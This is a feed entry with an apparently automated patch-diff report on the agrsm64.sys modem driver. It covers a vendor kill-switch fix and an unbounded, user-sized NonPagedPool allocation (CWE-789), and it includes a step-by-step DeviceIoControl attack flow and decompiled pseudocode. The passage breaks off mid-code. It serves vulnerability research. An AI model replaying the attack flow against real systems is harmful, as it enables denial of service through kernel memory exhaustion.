&lt;p&gt;DONE&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>agrsm64.sys — Modem driver disabled by DriverEntry kill-switch; unbounded IOCTL_SERIAL_SET_QUEUE_SIZE pool allocation (CWE-789) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/agrsm64_c8d60ad6-agrsm64-report-20260626-135620.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/agrsm64_c8d60ad6-agrsm64-report-20260626-135620.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;agrsm64_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;agrsm64_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.0026&lt;/strong&gt; (effectively unrelated — the patch is a kill-switch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either side)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The vendor did not harden the individual handlers — they shipped a kill-switch that makes &lt;code&gt;DriverEntry&lt;/code&gt; return &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt; (&lt;code&gt;0xC0000424&lt;/code&gt;), so the entire driver (device creation, symlinks, and all IRP handlers) never loads. The unpatched driver registers a serial-class IRP_MJ_DEVICE_CONTROL dispatcher (&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt;), the standard Microsoft serial-framework handler, on the driver object. It creates a per-modem device &lt;code&gt;\Device\LSIModem&amp;lt;N&amp;gt;&lt;/code&gt; (FILE_DEVICE_SERIAL_PORT, Exclusive=1, protected symlink &lt;code&gt;\DosDevices\LSIModem&amp;lt;N&amp;gt;&lt;/code&gt;) and a control device &lt;code&gt;\Device\LSISM_xface&lt;/code&gt; (FILE_DEVICE_SERIAL_PORT, Exclusive=0, no device extension, symlink &lt;code&gt;\DosDevices\LSISM_xface&lt;/code&gt; created with &lt;code&gt;IoCreateUnprotectedSymbolicLink&lt;/code&gt;). The one notable code-level item is IOCTL_SERIAL_SET_QUEUE_SIZE (0x1b0008), which takes the requested receive-buffer size straight from user input and allocates it from NonPagedPool with no upper bound (an excessive-allocation-size / memory-exhaustion issue, CWE-789). The driver code contains no &lt;code&gt;IoCreateDeviceSecure&lt;/code&gt;/SDDL call, so the device DACLs are the I/O-manager defaults and cannot be determined from the binary; no world-accessible-device escalation is established here.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — IOCTL 0x1b0008: Unbounded (Size-Controlled) NonPagedPool Allocation&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Memory allocation with excessive size value (CWE-789)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; (IRP_MJ_DEVICE_CONTROL dispatcher)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IOCTL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IOCTL_SERIAL_SET_QUEUE_SIZE&lt;/code&gt; (0x1b0008)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primitive&lt;/td&gt;
&lt;td&gt;Memory-exhaustion DoS (large or failing NonPagedPool allocation)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The &lt;code&gt;IOCTL_SERIAL_SET_QUEUE_SIZE&lt;/code&gt; handler reads the first DWORD of the user-supplied &lt;code&gt;SystemBuffer&lt;/code&gt; (the requested receive-buffer size) and uses it directly as the &lt;code&gt;NumberOfBytes&lt;/code&gt; argument to &lt;code&gt;ExAllocatePoolWithTag(NonPagedPool, …, 'AGSM')&lt;/code&gt;. The only gate is a grow-only comparison against the current receive-buffer size stored at device-extension offset &lt;code&gt;+0x140&lt;/code&gt; (&lt;code&gt;cmp eax, [rsi+0x140]&lt;/code&gt; at &lt;code&gt;0x129b1e&lt;/code&gt;): the buffer is (re)allocated only when the requested size exceeds the current one, and there is no upper bound. On allocation failure the handler returns &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt; (&lt;code&gt;0xC000009A&lt;/code&gt;). The resulting pool pointer is stashed in the current I/O stack location scratch field (&lt;code&gt;[rbx+0x20]&lt;/code&gt;); the IRP is then queued via &lt;code&gt;SerialStartOrQueue (sub_12c4b4)&lt;/code&gt; with the read start routine &lt;code&gt;SerialStartRead (sub_12b5b8)&lt;/code&gt;, which treats the buffer as the driver's receive FIFO. This is the standard Microsoft serial-framework &lt;code&gt;IOCTL_SERIAL_SET_QUEUE_SIZE&lt;/code&gt; behaviour; the allocation is sized exactly to the request and its contents are later filled by received serial data, not by the IOCTL input, so there is no attacker-controlled out-of-bounds write here. The ceiling is a large or failing NonPagedPool allocation (memory-exhaustion / allocation-failure DoS).&lt;/p&gt;
&lt;p&gt;The driver code contains no &lt;code&gt;IoCreateDeviceSecure&lt;/code&gt; call or SDDL string, so the device DACLs are the I/O-manager defaults and are not determinable from the binary. The per-modem device &lt;code&gt;\Device\LSIModem&amp;lt;N&amp;gt;&lt;/code&gt; is created &lt;code&gt;Exclusive=1&lt;/code&gt; with a &lt;em&gt;protected&lt;/em&gt; symlink (&lt;code&gt;IoCreateSymbolicLink&lt;/code&gt;, &lt;code&gt;0x591cb&lt;/code&gt;/&lt;code&gt;0x5925b&lt;/code&gt;); the control device &lt;code&gt;\Device\LSISM_xface&lt;/code&gt; is created &lt;code&gt;Exclusive=0&lt;/code&gt; with an &lt;em&gt;unprotected&lt;/em&gt; symlink (&lt;code&gt;IoCreateUnprotectedSymbolicLink&lt;/code&gt;, &lt;code&gt;0x12e301&lt;/code&gt;). An unprotected symlink governs deletion/replacement of the symlink object, not access to the device object, so it does not by itself establish unprivileged device access. The vendor's fix removes the entire driver.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attack flow (IOCTL 0x1b0008):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A process that can open the device calls &lt;code&gt;CreateFileW&lt;/code&gt; on the corresponding symlink (&lt;code&gt;\\.\LSIModem&amp;lt;N&amp;gt;&lt;/code&gt; or &lt;code&gt;\\.\LSISM_xface&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;It calls &lt;code&gt;DeviceIoControl(h, 0x1b0008, &amp;amp;sizeDword, 8, …)&lt;/code&gt; (input must be ≥ 8 bytes so the &lt;code&gt;inlen &amp;lt; 8&lt;/code&gt; check at &lt;code&gt;0x129b11&lt;/code&gt; passes).&lt;/li&gt;
&lt;li&gt;I/O Manager copies the input into &lt;code&gt;IRP-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; (METHOD_BUFFERED).&lt;/li&gt;
&lt;li&gt;The driver's &lt;code&gt;MajorFunction[IRP_MJ_DEVICE_CONTROL]&lt;/code&gt; = &lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; runs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; reads &lt;code&gt;*SystemBuffer&lt;/code&gt; into &lt;code&gt;eax&lt;/code&gt; (&lt;code&gt;0x129b1c&lt;/code&gt;); if it exceeds &lt;code&gt;[rsi+0x140]&lt;/code&gt; it calls &lt;code&gt;ExAllocatePoolWithTag(NonPagedPool, eax, 'AGSM')&lt;/code&gt; (&lt;code&gt;0x129b35&lt;/code&gt;) with no upper bound.&lt;/li&gt;
&lt;li&gt;Pool pointer stored at &lt;code&gt;[rbx+0x20]&lt;/code&gt;; &lt;code&gt;SerialStartOrQueue (sub_12c4b4)&lt;/code&gt; queues the IRP with &lt;code&gt;SerialStartRead (sub_12b5b8)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A very large requested size drives a large or failing NonPagedPool allocation (memory pressure / &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt;). The buffer is sized to the request, so no overflow follows from this IOCTL alone.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 — IOCTL 0x1b0044: Wait-Event Mask Validation&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Informational&lt;/strong&gt; (validation present)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;IOCTL input validation, present and correct (CWE-20, negative finding)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; (IOCTL 0x1b0044 branch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IOCTL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IOCTL_SERIAL_SET_WAIT_MASK&lt;/code&gt; (0x1b0044)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primitive&lt;/td&gt;
&lt;td&gt;None (validated event-mask store; no memory-safety impact)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The &lt;code&gt;IOCTL_SERIAL_SET_WAIT_MASK&lt;/code&gt; handler validates the requested wait mask with &lt;code&gt;(*input &amp;amp; 0xffffe000) == 0&lt;/code&gt;, rejecting any bit outside the low 13 bits (the defined &lt;code&gt;SERIAL_EV_*&lt;/code&gt; event bits). Values that pass are handed to &lt;code&gt;SerialStartMask (sub_12c6c0)&lt;/code&gt;, queued via &lt;code&gt;SerialStartOrQueue (sub_12c4b4)&lt;/code&gt;, which stores the mask that later gates event-wait completions. The mask itself is not an address or register index; the only exposure is influencing which serial events satisfy a pending &lt;code&gt;IOCTL_SERIAL_WAIT_ON_MASK&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding 3 — IOCTL 0x1b0064: SERIAL_HANDFLOW Structure Validation&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Informational&lt;/strong&gt; (validation present)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;IOCTL input validation, present and correct (CWE-20, negative finding)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; (IOCTL 0x1b0064 branch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IOCTL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IOCTL_SERIAL_SET_HANDFLOW&lt;/code&gt; (0x1b0064)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primitive&lt;/td&gt;
&lt;td&gt;None (validated flow-control settings applied under spinlock)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The &lt;code&gt;IOCTL_SERIAL_SET_HANDFLOW&lt;/code&gt; handler reads the 16-byte &lt;code&gt;SERIAL_HANDFLOW&lt;/code&gt; structure and validates each field: &lt;code&gt;ControlHandShake&lt;/code&gt; against the reserved mask &lt;code&gt;0x7FFFFF84&lt;/code&gt;, &lt;code&gt;FlowReplace&lt;/code&gt; against &lt;code&gt;0x7FFFFF20&lt;/code&gt;, rejects the illegal &lt;code&gt;SERIAL_DTR&lt;/code&gt;/&lt;code&gt;SERIAL_DTR_HANDSHAKE&lt;/code&gt; combination, and range-checks &lt;code&gt;XonLimit&lt;/code&gt; and &lt;code&gt;XoffLimit&lt;/code&gt; to be non-negative and no larger than the receive-buffer size at extension &lt;code&gt;+0x140&lt;/code&gt;. Passing inputs are applied under the device spinlock via &lt;code&gt;SerialSetHandFlow&lt;/code&gt;. This is the standard serial-framework validation; the values that survive it are legal flow-control settings.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;GsDriverEntry (sub_12e334)&lt;/code&gt; — Before vs After&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ==================== UNPATCHED: GsDriverEntry (0x12e334) ====================&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GsDriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__security_init_cookie&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// sets __security_cookie&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// call into full init (sub_12e008)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// DriverEntry (sub_12e008) does:&lt;/span&gt;
&lt;span class="c1"&gt;//   DriverObject-&amp;gt;MajorFunction[IRP_MJ_DEVICE_CONTROL] = SerialIoControl (sub_1297f8);  // 0x12e1f3&lt;/span&gt;
&lt;span class="c1"&gt;//   ... other Serial* IRP handlers, ModemLibDriverInit, SerialAddDevice ...&lt;/span&gt;
&lt;span class="c1"&gt;//   IoCreateDevice(DriverObject, 0 /*DevExtSize*/, &amp;quot;\\Device\\LSISM_xface&amp;quot;,&lt;/span&gt;
&lt;span class="c1"&gt;//                  0x1b /*FILE_DEVICE_SERIAL_PORT*/, 0, FALSE /*Exclusive=0*/, &amp;amp;ctrlDev);  // 0x12e2c3&lt;/span&gt;
&lt;span class="c1"&gt;//   IoCreateUnprotectedSymbolicLink(&amp;quot;\\DosDevices\\LSISM_xface&amp;quot;, &amp;quot;\\Device\\LSISM_xface&amp;quot;); // 0x12e301&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// Per-modem devices are created later in AddNewModem (sub_588f0):&lt;/span&gt;
&lt;span class="c1"&gt;//   IoCreateDevice(DriverObject, 0x12be0 /*DevExtSize*/, &amp;quot;\\Device\\LSIModem&amp;lt;N&amp;gt;&amp;quot;,&lt;/span&gt;
&lt;span class="c1"&gt;//                  0x1b, 0, TRUE /*Exclusive=1*/, &amp;amp;modemDev);   // 0x58a16&lt;/span&gt;
&lt;span class="c1"&gt;//   IoCreateSymbolicLink(&amp;quot;\\DosDevices\\LSIModem&amp;lt;N&amp;gt;&amp;quot;, ...);      // protected — 0x591cb / 0x5925b&lt;/span&gt;

&lt;span class="c1"&gt;// ==================== PATCHED: GsDriverEntry (0x1c0006020) ====================&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GsDriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__security_init_cookie&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// patched DriverEntry (0x1c0006008):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//   return 0xC0000424;             // STATUS_NOT_SUPPORTED — kill switch&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;SerialIoControl (sub_1297f8)&lt;/code&gt; — Reviewed IOCTL Paths (unpatched only)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ IRP_MJ_DEVICE_CONTROL dispatcher ============&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SerialIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// sub_1297f8&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PIO_STACK_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Overlay&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IoControlCode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sysbuf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inlen&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;InputBufferLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;IOCTL_SERIAL_SET_QUEUE_SIZE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// 0x1b0008 — Finding 1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_BUFFER_TOO_SMALL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SIZE_T&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SIZE_T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sysbuf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// requested receive-buffer size&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Extension&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;BufferSize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// grow-only; +0x140&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AGSM&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// no upper bound&lt;/span&gt;
